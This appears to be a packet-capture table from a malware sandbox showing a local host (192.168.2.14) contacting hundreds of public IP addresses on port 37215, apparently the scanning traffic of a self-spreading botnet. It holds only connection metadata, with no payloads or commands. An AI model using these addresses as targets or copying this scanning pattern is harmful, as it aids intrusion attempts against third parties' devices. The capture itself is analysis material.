Aug 6, 2024 08:32:57.889259100 CEST	37215	47280	41.2.112.41	192.168.2.14
Aug 6, 2024 08:32:57.889267921 CEST	37215	53130	41.226.196.102	192.168.2.14
Aug 6, 2024 08:32:57.889281034 CEST	37215	37732	41.199.95.162	192.168.2.14
Aug 6, 2024 08:32:57.889302015 CEST	37215	48504	197.241.32.4	192.168.2.14
Aug 6, 2024 08:32:57.889312983 CEST	37215	42160	197.76.241.245	192.168.2.14
Aug 6, 2024 08:32:57.889322996 CEST	37215	39766	41.87.34.185	192.168.2.14
Aug 6, 2024 08:32:57.889333010 CEST	37215	47072	41.38.168.255	192.168.2.14
Aug 6, 2024 08:32:57.889343977 CEST	37215	45026	156.49.6.9	192.168.2.14
Aug 6, 2024 08:32:57.889353991 CEST	37215	54040	41.212.248.151	192.168.2.14
Aug 6, 2024 08:32:57.889363050 CEST	37215	44544	197.157.57.38	192.168.2.14
Aug 6, 2024 08:32:57.889373064 CEST	37215	39840	197.219.157.185	192.168.2.14
Aug 6, 2024 08:32:57.889383078 CEST	37215	36250	41.154.221.237	192.168.2.14
Aug 6, 2024 08:32:57.889394045 CEST	37215	46592	41.170.201.4	192.168.2.14
Aug 6, 2024 08:32:57.889405012 CEST	37215	46642	156.137.142.77	192.168.2.14
Aug 6, 2024 08:32:57.889415026 CEST	37215	37194	156.48.101.240	192.168.2.14
Aug 6, 2024 08:32:57.889425039 CEST	37215	49708	156.134.51.115	192.168.2.14
Aug 6, 2024 08:32:57.889436007 CEST	37215	38808	156.5.79.218	192.168.2.14
Aug 6, 2024 08:32:57.889446020 CEST	37215	36186	156.224.13.65	192.168.2.14
Aug 6, 2024 08:32:57.889456987 CEST	37215	42098	41.156.102.139	192.168.2.14
Aug 6, 2024 08:32:57.889467001 CEST	37215	34850	197.216.33.121	192.168.2.14
Aug 6, 2024 08:32:57.889481068 CEST	37215	57494	197.132.154.218	192.168.2.14
Aug 6, 2024 08:32:57.889491081 CEST	37215	46520	41.138.212.138	192.168.2.14
Aug 6, 2024 08:32:57.889501095 CEST	37215	50446	197.130.113.46	192.168.2.14
Aug 6, 2024 08:32:57.889513016 CEST	37215	33838	197.173.7.129	192.168.2.14
Aug 6, 2024 08:32:57.889525890 CEST	37215	58684	156.243.120.101	192.168.2.14
Aug 6, 2024 08:32:57.889540911 CEST	37215	34534	156.51.145.41	192.168.2.14
Aug 6, 2024 08:32:57.889555931 CEST	37215	56898	41.247.44.228	192.168.2.14
Aug 6, 2024 08:32:57.889568090 CEST	37215	45960	197.28.1.133	192.168.2.14
Aug 6, 2024 08:32:57.889578104 CEST	37215	52702	197.228.21.108	192.168.2.14
Aug 6, 2024 08:32:57.889588118 CEST	37215	52772	41.146.232.115	192.168.2.14
Aug 6, 2024 08:32:57.893789053 CEST	37215	53928	197.90.150.199	192.168.2.14
Aug 6, 2024 08:32:57.893857002 CEST	53928	37215	192.168.2.14	197.90.150.199
Aug 6, 2024 08:32:57.894181013 CEST	37215	42322	41.229.93.116	192.168.2.14
Aug 6, 2024 08:32:57.894223928 CEST	42322	37215	192.168.2.14	41.229.93.116
Aug 6, 2024 08:32:57.894566059 CEST	37215	34218	197.14.35.101	192.168.2.14
Aug 6, 2024 08:32:57.894623995 CEST	34218	37215	192.168.2.14	197.14.35.101
Aug 6, 2024 08:32:57.895478964 CEST	37215	59422	197.42.1.152	192.168.2.14
Aug 6, 2024 08:32:57.895529032 CEST	59422	37215	192.168.2.14	197.42.1.152
Aug 6, 2024 08:32:57.896207094 CEST	37215	44672	156.195.255.108	192.168.2.14
Aug 6, 2024 08:32:57.896270037 CEST	37215	57750	197.39.222.191	192.168.2.14
Aug 6, 2024 08:32:57.896281004 CEST	37215	46118	41.179.116.217	192.168.2.14
Aug 6, 2024 08:32:57.896291018 CEST	37215	44858	156.61.31.26	192.168.2.14
Aug 6, 2024 08:32:57.896301985 CEST	37215	33700	156.129.31.110	192.168.2.14
Aug 6, 2024 08:32:57.896344900 CEST	37215	39274	41.64.229.92	192.168.2.14
Aug 6, 2024 08:32:57.896354914 CEST	37215	38670	156.220.29.16	192.168.2.14
Aug 6, 2024 08:32:57.896367073 CEST	37215	46216	156.203.201.64	192.168.2.14
Aug 6, 2024 08:32:57.896377087 CEST	37215	46870	156.159.84.59	192.168.2.14
Aug 6, 2024 08:32:57.896388054 CEST	37215	60052	156.183.46.173	192.168.2.14
Aug 6, 2024 08:32:57.896399021 CEST	37215	33946	41.199.180.220	192.168.2.14
Aug 6, 2024 08:32:57.896421909 CEST	37215	33710	197.147.67.118	192.168.2.14
Aug 6, 2024 08:32:57.896433115 CEST	37215	47502	41.45.249.113	192.168.2.14
Aug 6, 2024 08:32:57.896441936 CEST	37215	44332	156.32.123.200	192.168.2.14
Aug 6, 2024 08:32:57.896452904 CEST	37215	42842	156.201.149.51	192.168.2.14
Aug 6, 2024 08:32:57.896462917 CEST	37215	54036	41.34.50.198	192.168.2.14
Aug 6, 2024 08:32:57.896471977 CEST	37215	43796	156.163.154.143	192.168.2.14
Aug 6, 2024 08:32:57.896495104 CEST	37215	35450	197.178.231.23	192.168.2.14
Aug 6, 2024 08:32:57.896506071 CEST	37215	57116	41.164.3.200	192.168.2.14
Aug 6, 2024 08:32:57.896517038 CEST	37215	47500	41.150.227.160	192.168.2.14
Aug 6, 2024 08:32:57.896539927 CEST	37215	44608	41.137.49.124	192.168.2.14
Aug 6, 2024 08:32:57.896550894 CEST	37215	48166	197.104.64.187	192.168.2.14
Aug 6, 2024 08:32:57.896560907 CEST	37215	55190	156.63.7.9	192.168.2.14
Aug 6, 2024 08:32:57.896572113 CEST	37215	39130	41.191.113.153	192.168.2.14
Aug 6, 2024 08:32:57.896581888 CEST	37215	59224	156.233.189.37	192.168.2.14
Aug 6, 2024 08:32:57.896593094 CEST	37215	40484	197.202.46.32	192.168.2.14
Aug 6, 2024 08:32:57.896601915 CEST	37215	54080	156.78.201.98	192.168.2.14
Aug 6, 2024 08:32:57.896652937 CEST	37215	35064	41.87.115.224	192.168.2.14
Aug 6, 2024 08:32:57.896662951 CEST	37215	34454	156.57.27.188	192.168.2.14
Aug 6, 2024 08:32:57.896672964 CEST	37215	37842	41.246.8.105	192.168.2.14
Aug 6, 2024 08:32:57.896683931 CEST	37215	47186	156.20.59.113	192.168.2.14
Aug 6, 2024 08:32:57.896694899 CEST	37215	56918	41.21.190.34	192.168.2.14
Aug 6, 2024 08:32:57.896704912 CEST	37215	38640	41.138.87.130	192.168.2.14
Aug 6, 2024 08:32:57.896716118 CEST	37215	35946	156.204.167.229	192.168.2.14
Aug 6, 2024 08:32:57.896723986 CEST	47186	37215	192.168.2.14	156.20.59.113
Aug 6, 2024 08:32:57.896727085 CEST	37215	57802	197.104.24.129	192.168.2.14
Aug 6, 2024 08:32:57.896749020 CEST	37215	54950	156.214.108.255	192.168.2.14
Aug 6, 2024 08:32:57.896759033 CEST	37215	52820	197.75.73.10	192.168.2.14
Aug 6, 2024 08:32:57.896769047 CEST	37215	43460	197.141.127.19	192.168.2.14
Aug 6, 2024 08:32:57.896779060 CEST	37215	53766	197.63.193.232	192.168.2.14
Aug 6, 2024 08:32:57.896790028 CEST	37215	40940	156.91.72.96	192.168.2.14
Aug 6, 2024 08:32:57.896801949 CEST	37215	37152	41.235.232.193	192.168.2.14
Aug 6, 2024 08:32:57.896811962 CEST	37215	55158	156.209.183.183	192.168.2.14
Aug 6, 2024 08:32:57.896821976 CEST	37215	40592	197.205.58.249	192.168.2.14
Aug 6, 2024 08:32:57.896832943 CEST	37215	39440	197.116.99.16	192.168.2.14
Aug 6, 2024 08:32:57.896842957 CEST	37215	41660	156.213.90.130	192.168.2.14
Aug 6, 2024 08:32:57.896852016 CEST	37215	57336	197.141.165.224	192.168.2.14
Aug 6, 2024 08:32:57.896867037 CEST	37215	57086	41.3.58.68	192.168.2.14
Aug 6, 2024 08:32:57.896878004 CEST	37215	53836	41.99.158.148	192.168.2.14
Aug 6, 2024 08:32:57.896887064 CEST	37215	53790	156.246.176.160	192.168.2.14
Aug 6, 2024 08:32:57.896898985 CEST	37215	40264	156.198.249.101	192.168.2.14
Aug 6, 2024 08:32:57.896908998 CEST	37215	49832	156.83.69.150	192.168.2.14
Aug 6, 2024 08:32:57.896919012 CEST	37215	36100	156.178.121.45	192.168.2.14
Aug 6, 2024 08:32:57.896929026 CEST	37215	47950	197.229.89.107	192.168.2.14
Aug 6, 2024 08:32:57.896939039 CEST	37215	39070	156.5.53.84	192.168.2.14
Aug 6, 2024 08:32:57.896949053 CEST	37215	54844	41.42.85.198	192.168.2.14
Aug 6, 2024 08:32:57.896972895 CEST	37215	36104	156.181.110.86	192.168.2.14
Aug 6, 2024 08:32:57.896982908 CEST	37215	58436	197.197.24.70	192.168.2.14
Aug 6, 2024 08:32:57.896992922 CEST	37215	57474	41.116.61.218	192.168.2.14
Aug 6, 2024 08:32:57.897003889 CEST	37215	44432	197.94.98.140	192.168.2.14
Aug 6, 2024 08:32:57.897012949 CEST	37215	39700	156.107.107.14	192.168.2.14
Aug 6, 2024 08:32:57.897023916 CEST	37215	41022	41.242.100.27	192.168.2.14
Aug 6, 2024 08:32:57.897033930 CEST	37215	60216	197.28.182.242	192.168.2.14
Aug 6, 2024 08:32:57.897043943 CEST	37215	46990	41.195.75.21	192.168.2.14
Aug 6, 2024 08:32:57.897053957 CEST	37215	45600	197.204.204.27	192.168.2.14
Aug 6, 2024 08:32:57.897063971 CEST	37215	35976	156.232.20.55	192.168.2.14
Aug 6, 2024 08:32:57.897073984 CEST	37215	45626	156.90.27.13	192.168.2.14
Aug 6, 2024 08:32:57.897084951 CEST	37215	38224	156.252.2.121	192.168.2.14
Aug 6, 2024 08:32:57.897094965 CEST	37215	58586	156.132.197.53	192.168.2.14
Aug 6, 2024 08:32:57.897104979 CEST	37215	44520	41.60.167.28	192.168.2.14
Aug 6, 2024 08:32:57.897114992 CEST	37215	46750	41.88.164.69	192.168.2.14
Aug 6, 2024 08:32:57.897125006 CEST	37215	37148	41.51.78.43	192.168.2.14
Aug 6, 2024 08:32:57.897135973 CEST	37215	57002	156.0.126.61	192.168.2.14
Aug 6, 2024 08:32:57.897145987 CEST	37215	48876	41.69.62.137	192.168.2.14
Aug 6, 2024 08:32:57.897156000 CEST	37215	38072	156.222.74.186	192.168.2.14
Aug 6, 2024 08:32:57.897165060 CEST	37215	40102	156.55.85.117	192.168.2.14
Aug 6, 2024 08:32:57.897176981 CEST	37215	55516	156.224.207.229	192.168.2.14
Aug 6, 2024 08:32:57.897187948 CEST	37215	38774	41.205.118.26	192.168.2.14
Aug 6, 2024 08:32:57.897198915 CEST	37215	32772	197.129.180.128	192.168.2.14
Aug 6, 2024 08:32:57.897208929 CEST	37215	40490	156.227.117.100	192.168.2.14
Aug 6, 2024 08:32:57.897219896 CEST	37215	42704	41.142.161.8	192.168.2.14
Aug 6, 2024 08:32:57.897228956 CEST	37215	59874	156.167.74.1	192.168.2.14
Aug 6, 2024 08:32:57.897238970 CEST	37215	36268	41.234.139.223	192.168.2.14
Aug 6, 2024 08:32:57.897248983 CEST	37215	45798	41.218.183.57	192.168.2.14
Aug 6, 2024 08:32:57.897258043 CEST	37215	60858	156.255.113.130	192.168.2.14
Aug 6, 2024 08:32:57.897268057 CEST	37215	53234	41.146.232.115	192.168.2.14
Aug 6, 2024 08:32:57.897286892 CEST	45798	37215	192.168.2.14	41.218.183.57
Aug 6, 2024 08:32:57.897289991 CEST	60858	37215	192.168.2.14	156.255.113.130
Aug 6, 2024 08:32:57.897309065 CEST	53234	37215	192.168.2.14	41.146.232.115
Aug 6, 2024 08:32:57.897433996 CEST	37215	53156	197.228.21.108	192.168.2.14
Aug 6, 2024 08:32:57.897475958 CEST	53156	37215	192.168.2.14	197.228.21.108
Aug 6, 2024 08:32:57.898063898 CEST	37215	46414	197.28.1.133	192.168.2.14
Aug 6, 2024 08:32:57.898108006 CEST	46414	37215	192.168.2.14	197.28.1.133
Aug 6, 2024 08:32:57.898924112 CEST	37215	57348	41.247.44.228	192.168.2.14
Aug 6, 2024 08:32:57.899076939 CEST	57348	37215	192.168.2.14	41.247.44.228
Aug 6, 2024 08:32:57.899408102 CEST	37215	34984	156.51.145.41	192.168.2.14
Aug 6, 2024 08:32:57.899466991 CEST	34984	37215	192.168.2.14	156.51.145.41
Aug 6, 2024 08:32:57.899786949 CEST	37215	33008	156.91.153.27	192.168.2.14
Aug 6, 2024 08:32:57.899799109 CEST	37215	60052	156.35.207.34	192.168.2.14
Aug 6, 2024 08:32:57.899810076 CEST	37215	52938	197.91.152.70	192.168.2.14
Aug 6, 2024 08:32:57.899873018 CEST	37215	35260	156.83.38.198	192.168.2.14
Aug 6, 2024 08:32:57.899883986 CEST	37215	37426	41.138.94.83	192.168.2.14
Aug 6, 2024 08:32:57.899894953 CEST	37215	36302	156.243.95.77	192.168.2.14
Aug 6, 2024 08:32:57.899904966 CEST	37215	33736	156.85.171.206	192.168.2.14
Aug 6, 2024 08:32:57.899916887 CEST	37215	45460	197.199.54.86	192.168.2.14
Aug 6, 2024 08:32:57.899928093 CEST	37215	40264	41.67.26.104	192.168.2.14
Aug 6, 2024 08:32:57.899939060 CEST	37215	37162	41.102.17.195	192.168.2.14
Aug 6, 2024 08:32:57.899950027 CEST	37215	59714	197.184.42.189	192.168.2.14
Aug 6, 2024 08:32:57.899960995 CEST	37215	55556	197.125.42.65	192.168.2.14
Aug 6, 2024 08:32:57.899971008 CEST	37215	56346	197.182.131.25	192.168.2.14
Aug 6, 2024 08:32:57.899982929 CEST	37215	56460	41.81.241.106	192.168.2.14
Aug 6, 2024 08:32:57.899993896 CEST	37215	54038	197.56.49.46	192.168.2.14
Aug 6, 2024 08:32:57.900005102 CEST	37215	43292	41.33.222.0	192.168.2.14
Aug 6, 2024 08:32:57.900016069 CEST	37215	44628	41.15.163.226	192.168.2.14
Aug 6, 2024 08:32:57.900027037 CEST	37215	41462	41.106.36.243	192.168.2.14
Aug 6, 2024 08:32:57.900037050 CEST	37215	59800	41.164.8.110	192.168.2.14
Aug 6, 2024 08:32:57.900048971 CEST	37215	43274	41.31.137.85	192.168.2.14
Aug 6, 2024 08:32:57.900058985 CEST	37215	35148	197.193.18.117	192.168.2.14
Aug 6, 2024 08:32:57.900068998 CEST	37215	34584	197.241.182.112	192.168.2.14
Aug 6, 2024 08:32:57.900079966 CEST	37215	34070	41.38.241.60	192.168.2.14
Aug 6, 2024 08:32:57.900104046 CEST	37215	49078	41.81.246.30	192.168.2.14
Aug 6, 2024 08:32:57.900114059 CEST	37215	39588	197.154.7.11	192.168.2.14
Aug 6, 2024 08:32:57.900124073 CEST	37215	58000	197.126.10.193	192.168.2.14
Aug 6, 2024 08:32:57.900135994 CEST	37215	34594	156.44.129.184	192.168.2.14
Aug 6, 2024 08:32:57.900146961 CEST	37215	39570	197.127.41.121	192.168.2.14
Aug 6, 2024 08:32:57.900156975 CEST	37215	54184	197.80.100.123	192.168.2.14
Aug 6, 2024 08:32:57.900166988 CEST	37215	41964	41.225.39.66	192.168.2.14
Aug 6, 2024 08:32:57.900177956 CEST	37215	55082	197.129.188.53	192.168.2.14
Aug 6, 2024 08:32:57.900188923 CEST	37215	36966	41.168.55.54	192.168.2.14
Aug 6, 2024 08:32:57.900199890 CEST	37215	40758	197.211.102.57	192.168.2.14
Aug 6, 2024 08:32:57.900211096 CEST	37215	51574	41.187.38.232	192.168.2.14
Aug 6, 2024 08:32:57.900222063 CEST	37215	47480	41.113.66.102	192.168.2.14
Aug 6, 2024 08:32:57.900232077 CEST	37215	44050	41.96.167.241	192.168.2.14
Aug 6, 2024 08:32:57.900242090 CEST	37215	48730	41.48.241.76	192.168.2.14
Aug 6, 2024 08:32:57.900253057 CEST	37215	58022	197.203.159.212	192.168.2.14
Aug 6, 2024 08:32:57.900263071 CEST	37215	42878	41.217.111.255	192.168.2.14
Aug 6, 2024 08:32:57.900274038 CEST	37215	53476	156.99.80.91	192.168.2.14
Aug 6, 2024 08:32:57.900285959 CEST	37215	56378	41.242.140.238	192.168.2.14
Aug 6, 2024 08:32:57.900295973 CEST	37215	50906	197.144.79.247	192.168.2.14
Aug 6, 2024 08:32:57.900310040 CEST	37215	42906	156.45.179.57	192.168.2.14
Aug 6, 2024 08:32:57.900321960 CEST	37215	60754	41.162.103.68	192.168.2.14
Aug 6, 2024 08:32:57.900336027 CEST	37215	48930	197.210.183.23	192.168.2.14
Aug 6, 2024 08:32:57.900346994 CEST	37215	47526	41.210.226.180	192.168.2.14
Aug 6, 2024 08:32:57.900357962 CEST	37215	46870	197.21.237.243	192.168.2.14
Aug 6, 2024 08:32:57.900367975 CEST	37215	37024	41.241.47.76	192.168.2.14
Aug 6, 2024 08:32:57.900378942 CEST	37215	43764	197.31.205.62	192.168.2.14
Aug 6, 2024 08:32:57.900388956 CEST	37215	53066	41.164.18.227	192.168.2.14
Aug 6, 2024 08:32:57.900399923 CEST	37215	44956	156.95.131.110	192.168.2.14
Aug 6, 2024 08:32:57.900409937 CEST	37215	48180	156.94.250.60	192.168.2.14
Aug 6, 2024 08:32:57.900419950 CEST	37215	49624	197.150.29.200	192.168.2.14
Aug 6, 2024 08:32:57.900430918 CEST	37215	48874	197.183.103.104	192.168.2.14
Aug 6, 2024 08:32:57.900439978 CEST	37215	59090	41.244.209.174	192.168.2.14
Aug 6, 2024 08:32:57.900450945 CEST	37215	59768	156.135.80.58	192.168.2.14
Aug 6, 2024 08:32:57.900461912 CEST	37215	48180	156.28.212.86	192.168.2.14
Aug 6, 2024 08:32:57.900474072 CEST	37215	49550	156.146.138.56	192.168.2.14
Aug 6, 2024 08:32:57.900490999 CEST	37215	35618	197.203.208.42	192.168.2.14
Aug 6, 2024 08:32:57.900501013 CEST	37215	57354	41.34.23.164	192.168.2.14
Aug 6, 2024 08:32:57.900512934 CEST	37215	39430	41.47.235.221	192.168.2.14
Aug 6, 2024 08:32:57.900523901 CEST	37215	34372	197.173.7.129	192.168.2.14
Aug 6, 2024 08:32:57.900557041 CEST	34372	37215	192.168.2.14	197.173.7.129
Aug 6, 2024 08:32:57.900846958 CEST	37215	59220	156.243.120.101	192.168.2.14
Aug 6, 2024 08:32:57.900887966 CEST	59220	37215	192.168.2.14	156.243.120.101
Aug 6, 2024 08:32:57.901109934 CEST	37215	47040	41.138.212.138	192.168.2.14
Aug 6, 2024 08:32:57.901148081 CEST	47040	37215	192.168.2.14	41.138.212.138
Aug 6, 2024 08:32:57.901550055 CEST	37215	58014	197.132.154.218	192.168.2.14
Aug 6, 2024 08:32:57.901588917 CEST	58014	37215	192.168.2.14	197.132.154.218
Aug 6, 2024 08:32:57.902255058 CEST	37215	50976	197.130.113.46	192.168.2.14
Aug 6, 2024 08:32:57.902295113 CEST	50976	37215	192.168.2.14	197.130.113.46
Aug 6, 2024 08:32:57.903256893 CEST	37215	35352	197.216.33.121	192.168.2.14
Aug 6, 2024 08:32:57.903290033 CEST	35352	37215	192.168.2.14	197.216.33.121
Aug 6, 2024 08:32:57.904289007 CEST	37215	42596	41.156.102.139	192.168.2.14
Aug 6, 2024 08:32:57.904330969 CEST	42596	37215	192.168.2.14	41.156.102.139
Aug 6, 2024 08:32:57.904366970 CEST	37215	36340	41.96.92.153	192.168.2.14
Aug 6, 2024 08:32:57.904377937 CEST	37215	56328	41.214.215.249	192.168.2.14
Aug 6, 2024 08:32:57.904386997 CEST	37215	50936	41.2.95.20	192.168.2.14
Aug 6, 2024 08:32:57.904397964 CEST	37215	44062	41.241.250.246	192.168.2.14
Aug 6, 2024 08:32:57.904407024 CEST	37215	34774	156.124.36.83	192.168.2.14
Aug 6, 2024 08:32:57.904416084 CEST	37215	46410	41.67.69.204	192.168.2.14
Aug 6, 2024 08:32:57.904424906 CEST	37215	52882	41.207.104.124	192.168.2.14
Aug 6, 2024 08:32:57.904433966 CEST	37215	60224	197.112.240.90	192.168.2.14
Aug 6, 2024 08:32:57.904452085 CEST	37215	40960	197.158.198.40	192.168.2.14
Aug 6, 2024 08:32:57.904463053 CEST	37215	56894	41.75.95.48	192.168.2.14
Aug 6, 2024 08:32:57.904472113 CEST	37215	44336	156.216.133.161	192.168.2.14
Aug 6, 2024 08:32:57.904484987 CEST	37215	46640	197.214.35.214	192.168.2.14
Aug 6, 2024 08:32:57.904495001 CEST	37215	49902	156.177.204.221	192.168.2.14
Aug 6, 2024 08:32:57.904505014 CEST	37215	39722	41.9.222.229	192.168.2.14
Aug 6, 2024 08:32:57.904514074 CEST	37215	57036	197.125.78.47	192.168.2.14
Aug 6, 2024 08:32:57.904524088 CEST	37215	54878	41.84.239.116	192.168.2.14
Aug 6, 2024 08:32:57.904532909 CEST	37215	40218	41.225.151.149	192.168.2.14
Aug 6, 2024 08:32:57.904542923 CEST	37215	53150	156.196.237.33	192.168.2.14
Aug 6, 2024 08:32:57.904551983 CEST	37215	48858	197.194.34.222	192.168.2.14
Aug 6, 2024 08:32:57.904561043 CEST	37215	43498	41.158.83.113	192.168.2.14
Aug 6, 2024 08:32:57.904571056 CEST	37215	32984	197.198.169.113	192.168.2.14
Aug 6, 2024 08:32:57.904580116 CEST	37215	60530	197.52.174.50	192.168.2.14
Aug 6, 2024 08:32:57.904589891 CEST	37215	43042	156.234.152.134	192.168.2.14
Aug 6, 2024 08:32:57.904598951 CEST	37215	55402	197.132.30.188	192.168.2.14
Aug 6, 2024 08:32:57.904608965 CEST	37215	53042	41.85.183.189	192.168.2.14
Aug 6, 2024 08:32:57.904618979 CEST	37215	42256	197.170.123.35	192.168.2.14
Aug 6, 2024 08:32:57.904628038 CEST	37215	55438	41.17.186.253	192.168.2.14
Aug 6, 2024 08:32:57.904638052 CEST	37215	50696	197.201.238.246	192.168.2.14
Aug 6, 2024 08:32:57.904648066 CEST	37215	56768	197.229.186.220	192.168.2.14
Aug 6, 2024 08:32:57.904658079 CEST	37215	43240	41.180.58.253	192.168.2.14
Aug 6, 2024 08:32:57.904669046 CEST	37215	50328	156.210.44.233	192.168.2.14
Aug 6, 2024 08:32:57.904679060 CEST	37215	50104	41.139.158.191	192.168.2.14
Aug 6, 2024 08:32:57.904687881 CEST	37215	58810	41.175.207.136	192.168.2.14
Aug 6, 2024 08:32:57.904696941 CEST	37215	56304	156.226.194.179	192.168.2.14
Aug 6, 2024 08:32:57.904707909 CEST	37215	49632	41.99.246.34	192.168.2.14
Aug 6, 2024 08:32:57.904719114 CEST	37215	53354	41.206.96.163	192.168.2.14
Aug 6, 2024 08:32:57.904727936 CEST	37215	41740	156.138.84.192	192.168.2.14
Aug 6, 2024 08:32:57.904737949 CEST	37215	52588	41.89.37.118	192.168.2.14
Aug 6, 2024 08:32:57.904748917 CEST	37215	51722	156.60.205.144	192.168.2.14
Aug 6, 2024 08:32:57.904762030 CEST	37215	60240	41.67.110.230	192.168.2.14
Aug 6, 2024 08:32:57.904772997 CEST	37215	47718	197.150.61.72	192.168.2.14
Aug 6, 2024 08:32:57.904783010 CEST	37215	41024	156.5.65.103	192.168.2.14
Aug 6, 2024 08:32:57.904792070 CEST	37215	37666	197.79.169.4	192.168.2.14
Aug 6, 2024 08:32:57.904802084 CEST	37215	49670	197.119.21.203	192.168.2.14
Aug 6, 2024 08:32:57.904812098 CEST	37215	44302	156.99.124.37	192.168.2.14
Aug 6, 2024 08:32:57.904822111 CEST	37215	37080	41.89.22.189	192.168.2.14
Aug 6, 2024 08:32:57.904833078 CEST	37215	38460	41.96.213.218	192.168.2.14
Aug 6, 2024 08:32:57.904843092 CEST	37215	53622	197.106.150.96	192.168.2.14
Aug 6, 2024 08:32:57.904853106 CEST	37215	56762	197.77.215.2	192.168.2.14
Aug 6, 2024 08:32:57.904863119 CEST	37215	43454	41.7.6.195	192.168.2.14
Aug 6, 2024 08:32:57.904874086 CEST	37215	35352	156.197.209.77	192.168.2.14
Aug 6, 2024 08:32:57.904886961 CEST	37215	36706	156.224.13.65	192.168.2.14
Aug 6, 2024 08:32:57.904927015 CEST	36706	37215	192.168.2.14	156.224.13.65
Aug 6, 2024 08:32:57.905303001 CEST	37215	39328	156.5.79.218	192.168.2.14
Aug 6, 2024 08:32:57.905342102 CEST	39328	37215	192.168.2.14	156.5.79.218
Aug 6, 2024 08:32:57.905762911 CEST	37215	50222	156.134.51.115	192.168.2.14
Aug 6, 2024 08:32:57.905812979 CEST	50222	37215	192.168.2.14	156.134.51.115
Aug 6, 2024 08:32:57.906346083 CEST	37215	37708	156.48.101.240	192.168.2.14
Aug 6, 2024 08:32:57.906382084 CEST	37708	37215	192.168.2.14	156.48.101.240
Aug 6, 2024 08:32:57.906845093 CEST	37215	47130	156.137.142.77	192.168.2.14
Aug 6, 2024 08:32:57.906905890 CEST	47130	37215	192.168.2.14	156.137.142.77
Aug 6, 2024 08:32:57.907032967 CEST	37215	47080	41.170.201.4	192.168.2.14
Aug 6, 2024 08:32:57.907066107 CEST	47080	37215	192.168.2.14	41.170.201.4
Aug 6, 2024 08:32:57.907406092 CEST	37215	45018	197.157.57.38	192.168.2.14
Aug 6, 2024 08:32:57.907440901 CEST	45018	37215	192.168.2.14	197.157.57.38
Aug 6, 2024 08:32:57.907774925 CEST	37215	40314	197.219.157.185	192.168.2.14
Aug 6, 2024 08:32:57.907820940 CEST	40314	37215	192.168.2.14	197.219.157.185
Aug 6, 2024 08:32:57.908391953 CEST	37215	54512	41.212.248.151	192.168.2.14
Aug 6, 2024 08:32:57.908422947 CEST	54512	37215	192.168.2.14	41.212.248.151
Aug 6, 2024 08:32:57.908466101 CEST	37215	51952	41.146.250.201	192.168.2.14
Aug 6, 2024 08:32:57.908493996 CEST	37215	41842	197.91.92.162	192.168.2.14
Aug 6, 2024 08:32:57.908504009 CEST	37215	39872	156.151.233.217	192.168.2.14
Aug 6, 2024 08:32:57.908514023 CEST	37215	48444	197.0.151.175	192.168.2.14
Aug 6, 2024 08:32:57.908524990 CEST	37215	35508	41.123.254.171	192.168.2.14
Aug 6, 2024 08:32:57.908545017 CEST	37215	39540	197.26.78.192	192.168.2.14
Aug 6, 2024 08:32:57.908554077 CEST	37215	39934	197.253.137.119	192.168.2.14
Aug 6, 2024 08:32:57.908562899 CEST	37215	52844	41.219.94.196	192.168.2.14
Aug 6, 2024 08:32:57.908591032 CEST	37215	37464	156.10.5.237	192.168.2.14
Aug 6, 2024 08:32:57.908601046 CEST	37215	39140	41.136.242.8	192.168.2.14
Aug 6, 2024 08:32:57.908610106 CEST	37215	55848	156.118.71.208	192.168.2.14
Aug 6, 2024 08:32:57.908633947 CEST	37215	53818	41.217.74.217	192.168.2.14
Aug 6, 2024 08:32:57.908643961 CEST	37215	36364	197.22.69.25	192.168.2.14
Aug 6, 2024 08:32:57.908652067 CEST	37215	40780	41.65.44.253	192.168.2.14
Aug 6, 2024 08:32:57.908662081 CEST	37215	57564	197.232.216.53	192.168.2.14
Aug 6, 2024 08:32:57.908674002 CEST	37215	45850	197.145.206.32	192.168.2.14
Aug 6, 2024 08:32:57.908683062 CEST	37215	47466	156.241.3.212	192.168.2.14
Aug 6, 2024 08:32:57.908693075 CEST	37215	43792	197.220.115.179	192.168.2.14
Aug 6, 2024 08:32:57.908701897 CEST	37215	51906	156.215.168.4	192.168.2.14
Aug 6, 2024 08:32:57.908785105 CEST	37215	36724	41.154.221.237	192.168.2.14
Aug 6, 2024 08:32:57.908814907 CEST	36724	37215	192.168.2.14	41.154.221.237
Aug 6, 2024 08:32:57.908926964 CEST	37215	45548	156.49.6.9	192.168.2.14
Aug 6, 2024 08:32:57.908937931 CEST	37215	47550	41.38.168.255	192.168.2.14
Aug 6, 2024 08:32:57.908962011 CEST	45548	37215	192.168.2.14	156.49.6.9
Aug 6, 2024 08:32:57.908977032 CEST	47550	37215	192.168.2.14	41.38.168.255
Aug 6, 2024 08:32:57.909548998 CEST	37215	40324	41.87.34.185	192.168.2.14
Aug 6, 2024 08:32:57.909595013 CEST	40324	37215	192.168.2.14	41.87.34.185
Aug 6, 2024 08:32:57.909702063 CEST	37215	42684	197.76.241.245	192.168.2.14
Aug 6, 2024 08:32:57.909775972 CEST	42684	37215	192.168.2.14	197.76.241.245
Aug 6, 2024 08:32:57.910470009 CEST	37215	49024	197.241.32.4	192.168.2.14
Aug 6, 2024 08:32:57.910535097 CEST	49024	37215	192.168.2.14	197.241.32.4
Aug 6, 2024 08:32:57.910626888 CEST	37215	38232	41.199.95.162	192.168.2.14
Aug 6, 2024 08:32:57.910670996 CEST	38232	37215	192.168.2.14	41.199.95.162
Aug 6, 2024 08:32:57.910686970 CEST	37215	53614	41.226.196.102	192.168.2.14
Aug 6, 2024 08:32:57.910725117 CEST	53614	37215	192.168.2.14	41.226.196.102
Aug 6, 2024 08:32:57.911175966 CEST	37215	47764	41.2.112.41	192.168.2.14
Aug 6, 2024 08:32:57.911233902 CEST	47764	37215	192.168.2.14	41.2.112.41
Aug 6, 2024 08:32:57.911379099 CEST	37215	44574	156.11.49.218	192.168.2.14
Aug 6, 2024 08:32:57.911410093 CEST	44574	37215	192.168.2.14	156.11.49.218
Aug 6, 2024 08:32:57.911434889 CEST	37215	36340	197.59.82.212	192.168.2.14
Aug 6, 2024 08:32:57.911482096 CEST	36340	37215	192.168.2.14	197.59.82.212
Aug 6, 2024 08:32:57.912208080 CEST	37215	52724	197.38.129.206	192.168.2.14
Aug 6, 2024 08:32:57.912257910 CEST	52724	37215	192.168.2.14	197.38.129.206
Aug 6, 2024 08:32:57.912415028 CEST	37215	41254	41.196.151.196	192.168.2.14
Aug 6, 2024 08:32:57.912425995 CEST	37215	55896	197.166.211.169	192.168.2.14
Aug 6, 2024 08:32:57.912468910 CEST	41254	37215	192.168.2.14	41.196.151.196
Aug 6, 2024 08:32:57.912508965 CEST	55896	37215	192.168.2.14	197.166.211.169
